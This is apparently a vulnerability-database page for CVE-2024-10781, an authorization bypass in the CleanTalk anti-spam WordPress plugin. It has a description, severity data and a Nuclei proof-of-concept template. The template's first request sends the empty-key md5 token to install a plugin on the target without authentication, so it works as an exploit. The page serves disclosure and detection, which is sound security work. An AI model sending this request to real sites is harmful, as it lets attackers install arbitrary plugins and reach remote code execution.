CVE-2024-10781: Anti-Spam by CleanTalk <= 6.44 - Unauthenticated Arbitrary Plugin Installation

2026-12-04 PoC Public

Description

The Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress is vulnerable to authorization bypass in versions up to, and including, 6.44 due to a missing empty value check on the api_key when validating the remote-call token. When the plugin is installed but not configured with an API key, the remote-call token is compared against md5('') (d41d8cd98f00b204e9800998ecf8427e), so an unauthenticated attacker can pass the authorization check and invoke the install_plugin remote-call action to install (and activate) arbitrary plugins from the WordPress.org repository, which can be leveraged for remote code execution.

Details

CVE
CVE-2024-10781 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2024-10781

info:
  name: Anti-Spam by CleanTalk <= 6.44 - Unauthenticated Arbitrary Plugin Installation
  author: DhiyaneshDk
  severity: critical
  description: |
    The Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress is vulnerable to authorization bypass in versions up to, and including, 6.44 due to a missing empty value check on the api_key when validating the remote-call token. When the plugin is installed but not configured with an API key, the remote-call token is compared against md5('') (d41d8cd98f00b204e9800998ecf8427e), so an unauthenticated attacker can pass the authorization check and invoke the install_plugin remote-call action to install (and activate) arbitrary plugins from the WordPress.org repository, which can be leveraged for remote code execution.
  impact: |
    An unauthenticated attacker can install and activate arbitrary plugins, leading to remote code execution.
  remediation: |
    Update the plugin to version 6.45 or later, which verifies the API key is non-empty before authorizing remote calls.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cleantalk-spam-protect/spam-protection-anti-spam-firewall-by-cleantalk-644-authorization-bypass-due-to-missing-empty-value-check-to-unauthenticated-arbitrary-plugin-installation
    - https://www.wordfence.com/blog/2024/11/200000-wordpress-sites-affected-by-unauthenticated-critical-vulnerabilities-in-anti-spam-by-cleantalk-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10781
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10781
    epss-score: 0.10123
    epss-percentile: 0.95773
    cwe-id: CWE-862
    cpe: cpe:2.3:a:cleantalk:spam_protection\,_anti-spam\,_firewall:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cleantalk
    product: spam_protection\,_anti-spam\,_firewall
    framework: wordpress
    fofa-query: body="/wp-content/plugins/cleantalk-spam-protect/"
    publicwww-query: "/wp-content/plugins/cleantalk-spam-protect/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,cleantalk,cleantalk-spam-protect,rce,authbypass,intrusive,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?spbc_remote_call_token=d41d8cd98f00b204e9800998ecf8427e&spbc_remote_call_action=install_plugin&plugin_name=antispam&plugin=classic-editor%2Fclassic-editor.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'body == "OK"'
          - 'content_length == 2'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/classic-editor/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "=== Classic Editor ==="
          - "Stable tag:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210096d39af662eb1a9bb3036ed5e50c93985e668a9d6b8f960f7d28ddcb93ff973b022100c930fd3bd558c4903bd33b9f13d61e4de165115ba6ca58cd5a48f3d5453acab0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life